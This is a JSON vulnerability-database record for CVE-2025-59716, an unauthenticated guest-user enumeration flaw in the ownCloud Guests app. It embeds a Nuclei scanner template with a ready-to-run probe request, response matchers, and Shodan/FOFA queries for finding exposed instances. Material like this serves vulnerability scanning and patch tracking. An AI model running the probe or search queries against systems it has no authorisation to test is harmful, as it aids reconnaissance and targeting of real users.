{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-59716/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-59716/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-59716/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-59716/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-59716/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-59716/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-59716"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-59716"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-59716.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-59716\n\ninfo:\n  name: ownCloud Guests - User Enumeration\n  author: DhiyaneshDk\n  severity: medium\n  description: |\n    ownCloud Guests before 0.12.5 contains an unauthenticated user enumeration vulnerability caused by insufficient validation of the token in showPasswordForm at /apps/guests/register/{email}/{token}, letting unauthenticated attackers enumerate valid guest users, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can enumerate valid guest users, potentially aiding further targeted attacks.\n  remediation: |\n    Update to version 0.12.5 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-59716\n    - https://gist.github.com/thesmartshadow/64ae0449e909174d0479a4f23657147f\n    - https://marketplace.owncloud.com/apps/guests\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2025-59716\n    epss-score: 0.00951\n    epss-percentile: 0.61435\n    cwe-id: CWE-203\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: owncloud\n    product: guests\n    shodan-query: http.title:\"ownCloud\"\n    fofa-query: title=\"ownCloud\"\n  tags: cve,cve2025,owncloud,enum,user-enum,guests,vkev\n\nvariables:\n  email: \"{{randstr}}@{{rand_base(5)}}.com\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/apps/guests/register/{{email}}/invalid-token-12345\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"No such guest user\"\n          - \"ownCloud\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450221009850de4c8d9987ed105c46dc8dff02287f0bc87307daabd8f2adadf486de6ecb022076722bcc76f457f307050aae0f3075742df790adbddfad0e01f24250ad3c0786:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-59716"}